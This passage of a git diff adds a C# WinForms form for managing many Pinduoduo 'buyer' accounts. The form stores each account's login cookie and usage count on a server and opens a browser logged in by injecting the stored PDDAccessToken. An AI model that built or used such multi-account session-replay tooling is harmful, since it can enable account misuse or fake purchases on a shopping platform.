this.pnlMultiSetTimes.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlMultiSetTimes.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlMultiSetTimes.Font = new System.Drawing.Font("微软雅黑", 10F); + this.pnlMultiSetTimes.Location = new System.Drawing.Point(504, 5); + this.pnlMultiSetTimes.Name = "pnlMultiSetTimes"; + this.pnlMultiSetTimes.Size = new System.Drawing.Size(89, 20); + this.pnlMultiSetTimes.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlMultiSetTimes.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlMultiSetTimes.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlMultiSetTimes.Style.BorderWidth = 0; + this.pnlMultiSetTimes.Style.CornerDiameter = 1; + this.pnlMultiSetTimes.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlMultiSetTimes.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlMultiSetTimes.Style.GradientAngle = 90; + this.pnlMultiSetTimes.Style.LineAlignment = System.Drawing.StringAlignment.Near; + this.pnlMultiSetTimes.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.pnlMultiSetTimes.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlMultiSetTimes.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlMultiSetTimes.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlMultiSetTimes.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlMultiSetTimes.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlMultiSetTimes.TabIndex = 1159; + this.pnlMultiSetTimes.Text = "批量修改次数"; + this.pnlMultiSetTimes.Click += new System.EventHandler(this.pnlMultiSetTimes_Click); + // + // nudMultiTimes + // + this.nudMultiTimes.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.nudMultiTimes.Location = new System.Drawing.Point(413, 3); + this.nudMultiTimes.Maximum = new decimal(new int[] { + 50, + 0, + 0, + 0}); + this.nudMultiTimes.Name = "nudMultiTimes"; + this.nudMultiTimes.Size = new System.Drawing.Size(88, 23); + this.nudMultiTimes.TabIndex = 1136; + this.nudMultiTimes.Value = new decimal(new int[] { + 5, + 0, + 0, + 0}); + // + // chkShowNoTimesData + // + this.chkShowNoTimesData.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.chkShowNoTimesData.AutoSize = true; + // + // + // + this.chkShowNoTimesData.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.chkShowNoTimesData.FocusCuesEnabled = false; + this.chkShowNoTimesData.Location = new System.Drawing.Point(7, 5); + this.chkShowNoTimesData.Name = "chkShowNoTimesData"; + this.chkShowNoTimesData.Size = new System.Drawing.Size(96, 20); + this.chkShowNoTimesData.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.chkShowNoTimesData.TabIndex = 1135; + this.chkShowNoTimesData.Text = "显示0次数据"; + this.chkShowNoTimesData.CheckedChanged += new System.EventHandler(this.chkShowNoTimesData_CheckedChanged); + // + // DgvCookiesList + // + this.DgvCookiesList.AllowUserToAddRows = false; + this.DgvCookiesList.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(244)))), ((int)(((byte)(244)))), ((int)(((byte)(244))))); + this.DgvCookiesList.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.DgvCookiesList.BackgroundColor = System.Drawing.Color.White; + this.DgvCookiesList.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.Color.White; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.DgvCookiesList.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.DgvCookiesList.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.DgvCookiesList.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.col_select, + this.col_pdd_user_id, + this.col_cookies, + this.col_times, + this.col_user_center, + this.col_edit}); + this.DgvCookiesList.CustomSortColumns.AddRange(new object[] { + "col_shop_id", + "col_shop_name", + "col_name", + "col_mobile", + "col_order_id", + "col_product_id", + "col_create_time"}); + dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle3.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle3.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle3.SelectionBackColor = System.Drawing.Color.White; + dataGridViewCellStyle3.SelectionForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.DgvCookiesList.DefaultCellStyle = dataGridViewCellStyle3; + this.DgvCookiesList.Dock = System.Windows.Forms.DockStyle.Fill; + this.DgvCookiesList.GridColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(215)))), ((int)(((byte)(229))))); + this.DgvCookiesList.IsCustomSort = true; + this.DgvCookiesList.Location = new System.Drawing.Point(0, 0); + this.DgvCookiesList.Name = "DgvCookiesList"; + this.DgvCookiesList.ReadOnly = true; + dataGridViewCellStyle4.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle4.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle4.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle4.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle4.SelectionBackColor = System.Drawing.Color.White; + dataGridViewCellStyle4.SelectionForeColor = System.Drawing.Color.Black; + dataGridViewCellStyle4.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.DgvCookiesList.RowHeadersDefaultCellStyle = dataGridViewCellStyle4; + this.DgvCookiesList.RowTemplate.Height = 23; + this.DgvCookiesList.ShowCellToolTips = false; + this.DgvCookiesList.Size = new System.Drawing.Size(593, 383); + this.DgvCookiesList.TabIndex = 1; + this.DgvCookiesList.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.DgvCookiesList_CellContentClick); + // + // col_select + // + this.col_select.HeaderText = "选"; + this.col_select.Name = "col_select"; + this.col_select.ReadOnly = true; + this.col_select.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.col_select.Width = 36; + // + // col_pdd_user_id + // + this.col_pdd_user_id.DataPropertyName = "pdd_user_id"; + this.col_pdd_user_id.HeaderText = "编号"; + this.col_pdd_user_id.Name = "col_pdd_user_id"; + this.col_pdd_user_id.ReadOnly = true; + this.col_pdd_user_id.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + this.col_pdd_user_id.Width = 90; + // + // col_cookies + // + this.col_cookies.DataPropertyName = "cookies"; + this.col_cookies.HeaderText = "登录信息"; + this.col_cookies.Name = "col_cookies"; + this.col_cookies.ReadOnly = true; + this.col_cookies.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + this.col_cookies.Width = 200; + // + // col_times + // + this.col_times.DataPropertyName = "times"; + this.col_times.HeaderText = "次数"; + this.col_times.Name = "col_times"; + this.col_times.ReadOnly = true; + this.col_times.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + this.col_times.Width = 80; + // + // col_user_center + // + this.col_user_center.HeaderText = "个人中心"; + this.col_user_center.Name = "col_user_center"; + this.col_user_center.ReadOnly = true; + this.col_user_center.Width = 70; + // + // col_edit + // + this.col_edit.HeaderText = "操作"; + this.col_edit.Name = "col_edit"; + this.col_edit.ReadOnly = true; + this.col_edit.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.col_edit.Width = 70; + // + // PddMultiBuyerForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.ClientSize = new System.Drawing.Size(603, 481); + this.Controls.Add(this.panel1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "PddMultiBuyerForm"; + this.Text = "多买手管理"; + this.TitleText = "多买手管理"; + this.Load += new System.EventHandler(this.PddMultiBuyerForm_Load); + this.Controls.SetChildIndex(this.panel1, 0); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).EndInit(); + this.panel1.ResumeLayout(false); + this.tableLayoutPanel1.ResumeLayout(false); + this.panel3.ResumeLayout(false); + this.pnlDetail.ResumeLayout(false); + this.pnlDetail.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.nudTimes)).EndInit(); + this.panel4.ResumeLayout(false); + this.panel5.ResumeLayout(false); + this.panel5.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.nudMultiTimes)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.DgvCookiesList)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; + private System.Windows.Forms.Panel panel3; + public MyControl.MyDataGridView DgvCookiesList; + private System.Windows.Forms.Panel panel4; + private DevComponents.DotNetBar.PanelEx pnlSearch; + public DevComponents.DotNetBar.Controls.TextBoxX txtSearch; + private DevComponents.DotNetBar.PanelEx pnlImport; + private DevComponents.DotNetBar.PanelEx pnlLogin; + private System.Windows.Forms.Panel panel5; + private DevComponents.DotNetBar.Controls.CheckBoxX chkShowNoTimesData; + private DevComponents.DotNetBar.PanelEx pnlDetail; + public DevComponents.DotNetBar.Controls.TextBoxX txtCookies; + private System.Windows.Forms.NumericUpDown nudTimes; + private DevComponents.DotNetBar.PanelEx pnlCancel; + private DevComponents.DotNetBar.PanelEx pnlSave; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label lblId; + private System.Windows.Forms.NumericUpDown nudMultiTimes; + private DevComponents.DotNetBar.PanelEx pnlMultiSetTimes; + private System.Windows.Forms.DataGridViewCheckBoxColumn col_select; + private System.Windows.Forms.DataGridViewTextBoxColumn col_pdd_user_id; + private System.Windows.Forms.DataGridViewTextBoxColumn col_cookies; + private System.Windows.Forms.DataGridViewTextBoxColumn col_times; + private System.Windows.Forms.DataGridViewLinkColumn col_user_center; + private System.Windows.Forms.DataGridViewLinkColumn col_edit; + } +} \ No newline at end of file diff --git a/29WxOrder/ToolForms/PddMultiBuyerForm.cs b/29WxOrder/ToolForms/PddMultiBuyerForm.cs new file mode 100644 index 0000000..5f0f332 --- /dev/null +++ b/29WxOrder/ToolForms/PddMultiBuyerForm.cs @@ -0,0 +1,172 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model; +using _29WxOrder.BuyForms; +using _29WxOrder.Extension; +using NaiBa.Util.Extension; +using Newtonsoft.Json; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; +using Work.BaseForms; + +namespace _29WxOrder.ToolForms +{ + public partial class PddMultiBuyerForm : BaseForm + { + public static bool IsShowNoTimesData = false; + PddMultiBuyerInfo currentCookieUser = null; + + public PddMultiBuyerForm() + { + InitializeComponent(); + } + + public static void GetMultiBuyer() + { + //string html = .PostUtf8(ViewModel.BaseWindows.BaseClass.ServerApiUrl + "/?obj=" + ViewModel.BaseWindows.BaseClass.routeInUse + "/pdd_user_cookies&act=get", ViewModel.BaseWindows.BaseClass.GetSignaturex("", "")); + string url = BaseClass.DouYinBuildObjString("pdd_user_cookies&act=get"); + string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex()); + + if (html.Contains("\"code\":200") && !html.Contains("暂无数据")) + { + var cookielist = JObject.Parse(html)["data"]["list"]; + GlobalConfig.LstMultiBuyer = JsonConvert.DeserializeObject>(cookielist.ToString()); + } + } + + private void PddMultiBuyerForm_Load(object sender, EventArgs e) + { + DgvCookiesList.AddSelectorColumn("col_select"); + + chkShowNoTimesData.Checked = IsShowNoTimesData; + ShowMultiBuyerList(GlobalConfig.LstMultiBuyer); + } + + private void pnlImport_Click(object sender, EventArgs e) + { + ImportPddMultiBuyerForm f = new ImportPddMultiBuyerForm(); + f.ShowDialog(); + GetMultiBuyer(); + ShowMultiBuyerList(GlobalConfig.LstMultiBuyer); + } + + private void pnlCancel_Click(object sender, EventArgs e) + { + pnlDetail.Visible = false; + } + + private void pnlSave_Click(object sender, EventArgs e) + { + // html = ViewModel.BaseWindows.HttpHelper.PostUtf8(ViewModel.BaseWindows.BaseClass.ServerApiUrl + "/?obj=" + ViewModel.BaseWindows.BaseClass.routeInUse + "/pdd_user_cookies&act=update", ViewModel.BaseWindows.BaseClass.GetSignaturex("", "") + "&pdd_user_id=" + userCookie.pdd_user_id + "&cookies=" + tbcookies.Text + "×=" + cbtimes.Text.ToString()); + if (currentCookieUser == null) + return; + + currentCookieUser.times = nudTimes.Value.ParseToInt(); + currentCookieUser.cookies = txtCookies.Text; + string url = BaseClass.DouYinBuildObjString("pdd_user_cookies&act=update"); + string data = UserLogin.GetSignaturex() + "&pdd_user_id=" + currentCookieUser.pdd_user_id + "&cookies=" + GetHtml.UrlEncodeUtf8(currentCookieUser.cookies) + "×=" + currentCookieUser.times; + string html = GetHtml.PostUtf8(url, data); + if (html.Contains("数据修改完成")) + { + ShowMultiBuyerList(GlobalConfig.LstMultiBuyer); + BaseMsgForm.ShowInfo("修改成功", "提示"); + pnlDetail.Visible = false; + } + } + + private void DgvCookiesList_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + + var colName = DgvCookiesList.Columns[e.ColumnIndex].Name; + var cookieUser = GlobalConfig.LstMultiBuyer.FirstOrDefault(u => u.pdd_user_id == DgvCookiesList.Rows[e.RowIndex].Cells["col_pdd_user_id"].Value.ToString()); + switch (colName) + { + case "col_select": + DgvCookiesList.Rows[e.RowIndex].Cells[e.ColumnIndex].Value = !DgvCookiesList.Rows[e.RowIndex].Cells[e.ColumnIndex].Value.ParseToBool(); + break; + case "col_user_center": + if (cookieUser == null) + return; + + BuyProductBrower form = new BuyProductBrower(); + form.WebUrl = "https://yangkeduo.com/order.html"; + form.cookies = "PDDAccessToken=" + cookieUser.cookies + ";"; + form.ShowDialog(); + break; + case "col_edit": + if (cookieUser == null) + return; + + currentCookieUser = cookieUser; + nudTimes.Value = cookieUser.times; + txtCookies.Text = cookieUser.cookies; + lblId.Text = cookieUser.pdd_user_id; + pnlDetail.Visible = true; + break; + } + } + + private void chkShowNoTimesData_CheckedChanged(object sender, EventArgs e) + { + ShowMultiBuyerList(GlobalConfig.LstMultiBuyer); + } + + private void ShowMultiBuyerList(List userList) + { + DgvCookiesList.Rows.Clear(); + foreach (var multiBuyer in userList) + { + if (!chkShowNoTimesData.Checked && multiBuyer.times == 0) + continue; + + DgvCookiesList.Rows.Add(false, multiBuyer.pdd_user_id, multiBuyer.cookies, multiBuyer.times, "查看", "编辑"); + } + } + + private void pnlMultiSetTimes_Click(object sender, EventArgs e) + { + List cookieStrList = DgvCookiesList.Rows.Cast().ToList().Where(r => r.Cells["col_select"].Value.ParseToBool()) + .Select(r => r.Cells["col_pdd_user_id"].Value.ToString()).ToList(); + var result = BaseMsgForm.ShowConfirm("确定修改选中买手的次数吗?", "提示").DialogResult; + if (result == DialogResult.OK) + { + string paramsjson = "["; + foreach (var str in cookieStrList) + { + var item = GlobalConfig.LstMultiBuyer.FirstOrDefault(r => r.pdd_user_id == str); + item.times = nudMultiTimes.Value.ParseToInt(); + paramsjson += "{\"pdd_user_id\":" + item.pdd_user_id + ",\"times\":" + item.times + "},"; + } + paramsjson = paramsjson.TrimEnd(',') + "]"; + string url = BaseClass.DouYinBuildObjString("pdd_user_cookies&act=add"); + string data = UserLogin.GetSignaturex() + "¶ms=" + paramsjson; + string html = GetHtml.PostUtf8(url, data); + if (html.Contains("导入数据完成")) + { + ShowMultiBuyerList(GlobalConfig.LstMultiBuyer); + BaseMsgForm.ShowInfo("修改成功", "提示"); + } + } + } + + private void pnlSearch_Click(object sender, EventArgs e) + { + List selectUserList = new List(); + selectUserList.AddRange(GlobalConfig.LstMultiBuyer); + if (!string.IsNullOrWhiteSpace(txtSearch.Text)) + selectUserList = GlobalConfig.LstMultiBuyer.FindAll(x => x.pdd_user_id.Contains(txtSearch.Text)); + ShowMultiBuyerList(selectUserList); + } + } +} diff --git a/29WxOrder/ToolForms/PddMultiBuyerForm.resx b/29WxOrder/ToolForms/PddMultiBuyerForm.resx new file mode 100644 index 0000000..e17e518 --- /dev/null +++ b/29WxOrder/ToolForms/PddMultiBuyerForm.resx @@ -0,0 +1,316 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + + + AAABAAEAgIAQcgAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzM + zMzMzMzMzMx3d4iIiIiIiIh3fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzMzMzMzMzHeIiIiIj/////////iIiIiId8zMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzMzMzMzMeIiI/////////////////////4iIh8zMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzMzMzMzHiI////////////////////////////iIfMzMzMzMzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMzMzMx3iP///////////////////////////////4iHzMzMzMzMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMzMzMx3iP//////////////////////////////////+IfMzMzMzMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzMzMx3iP/////////////////////////////////////4h8zMzMzMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzMzMzHiP////////////////////////////////////////h3zM + zMzMzMzMzMzMzMzGAAAABMzMzMzMzMzMzMzMzHiP//////////////////////////////////////// + //iHzMzMzMzMzMzMzMzMzEAAAAbMzMzMzMzMzMzMzMeI//////////////////////////////////// + ////////+IfMzMzMzMzMzMzMzMxgAABMzMzMzMzMzMzMzMx4//////////////////////////////// + //////////////+IfMzMzMzMzMzMzMzMxAAAbMzMzMzMzMzMzMzHj/////////////////////////// + /////////////////////4fMzMzMzMzMzMzMzMYAAMzMzMzMzMzMzMzMeP////////////////////// + ///////////////////////////4fMzMzMzMzMzMzMzMAAbMzMzMzMzMzMzMx4////////////////// + /////////////////////////////////4fMzMzMzMzMzMzMzGAGzMzMzMzMzMzMzHj///////////// + ///////////////////////////////////////4fMzMzMzMzMzMzMxgDMzMzMzMzMzMzMyI//////// + /////////////////////////////////////////////4zMzMzMzMzMzMzMwEzMzMzMzMzMzMzHj/// + //////////////////////////////////////////////////+HzMzMzMzMzMzMzMRszMzMzMzMzMzM + eP//////////////////////////////////////////////////////+HzMzMzMzMzMzMzGbMzMzMzM + zMzMzHj///////////////////////////////////////////////////////+MzMzMzMzMzMzMxmzM + zMzMzMzMzMyP////+IiP////////////////////////////////////////+I//////h8zMzMzMzMzM + zMZszMzMzMzMzMzHj////4iIiI//////////////////////////////////////+IiIj/////jMzMzM + zMzMzMzGbMzMzMzMzMzMyP////iIiIiI/////////////////////////////////////4iIiIj////4 + fMzMzMzMzMzMxszMzMzMzMzMzHj////4iIiIiP////////////////////////////////////+IiIiI + j////4zMzMzMzMzMzMbMzMzMzMzMzMx4////iIiIiIj////////////////////////////////////4 + iIiIiI////+HzMzMzMzMzMzMzMzMzMzMzMzMj////4iIiIiI//////////////+IiP//iI////////// + ////+IiIiIiP////h8zMzMzMzMzMzMzMzMzMzMzMzI/////4iIiIiP/////////////4d3eIiIeIj/// + //////////+IiIiIj/////jMzMzMzMzMzMzMzMzMzMzMzMyP////+IiIiIj/////////////iIiId3eI + iI//////////////iIiIiI/////4zMzMzMzMzMzMzMzMzMzMzMzHj/////+IiIiP/////////////4// + /4d4j/+P//////////////iIiIj/////+MzMzMzMzMzMzMzMzMzMzMzMx4//////+IiP//////////// + ///////4j///////////////////iIiP//////jMzMzMzMzMzMzMzMzMzMzMzMeP//////////+IiIj/ + ///////////////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzH//////////+H + fMx8eP//////////////////////////iId3iP//////////+HzMzMzMzMzMzMzMzMzMzMzMyP////// + ///4fMzHh8eP////////////////////////+MzMzMd4//////////h8zMzMzMzMzMzMzMzMzMzMzMf/ + ////////+MzMePjMeP///////////////////////4zMzMeHx4/////////4fMzMzMzMzMzMzMzMzMzM + zMzH/////////4fMd3eHzMeP//////////////////////iMzMzIiHx4////////+HzMzMzMzMzMzMzM + zMzMzMzMx/////////+Hx4iIfMzMj//////////////////////4h3d8x4h8yP////////jMzMzMzMzM + zMzMzMzMzMzMzMeP////////+HiP+IfMzI//////////////////////+HiIiHd3zHj////////4zMzM + zMzMzMzMzMzMzMzMzMzHj/////////h4//+HzMeP//////////////////////h4//h8zMyP//////// + +MzMzMzMzMzMzMzMzMzMzMzMzI/////////4iP//h8x4///////////////////////4j//4fMzHj/// + //////jMzMzMzMzMzMzMzMzMzMzMzMyP///////4iIiP+IfHj///////////////////////+Ij/+HzM + eP/////////4zMzMzMzMzMzMzMzMzMzMzMzMj///////iIiIiIh3eP////////////////////////+I + j4h8x3iI////////h8zMzMzMzMzMzMzMzMzMzMzMzH//////+Hj///iIiI////////////////////// + /////4iId4iIiIj//////4zMzMzMzMzMzMzMzMzMzMzMzMx4//////iP////iP////////////////// + /////////////4iP//iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMyP//////////+I////////////// + ///////////////////4eP//iP//////jMzMzMzMzMzMzMzMzMzMzMzMzMj///////////iP//////// + /////////////////////////4j/////////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////////// + //////////////////////////////+I//////////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////// + //////////////////////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + eP///////////////////////////////////////////////////////4zMzMzMzMzMzMzMzMzMzMzM + zMzMzMj///////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzM + zMzMzMzMzMzHj//////////////////////////////////////////////////////4zMzMzMzMzMzM + zMzMzMzMzMzMzMzMzI//////////////////////////////////////////////////////h8zMzMzM + zMzMzMzMzMzMzMzMzMzMzMx4////////////////////////////////////////////////////+HzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMyI////+I//////////////////////////////////////////// + //h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+Ij///////////////////////////////////// + //////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+IiIiIj//////////////////////////4 + ////iI/////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiP/////4iIiP////////////////////// + ////+IiIiIj/////iHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////////////////// + ///////////4iIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP//////////////////// + //////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////// + //////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHj///////// + ///////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//// + ////////////////////////////////////////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI + j/////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMeP//////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMx4////////+I//////////////////////////////////////jMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMeP///////4iIj///////////////////////////iP///////4fMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMx4////////iIiIiP///////////////////////4iIiP///////4zMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIj///////+HzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIj////////////////////4iIiIiIj/////// + +MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIiI// + //////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiP////////////////////iIiI + iIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiIj/////iIiIiIiIj///// + /4iIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiI/////4zMzMzMzM + j/////+IiIiIiIiP//////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//////+IiIiIiIj/////+MzM + zMzMzI//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iIiIiIiI//// + //jMzMzMzMyP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP///////4iIiIiI + iP/////4zMzMzMzMj//////4iIiIiIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iI + iIiIiI//////+MzMzMzMzI//////+IiIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ///4iIiIiIiP//////fMzMzMzMyP//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzH + j///////+IiIiIiI//////+HzMzMzMzMeP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzM + zMzMyP////////iIiIiIiP//////jMzMzMzMzHj///////iIiIiIiI///////4fMzMzMzMzMzMzMzMzM + zMzMzMzMzMj///////+IiIiIiI///////4zMzMzMzMzI///////4iIiIiIiI///////3zMzMzMzMzMzM + 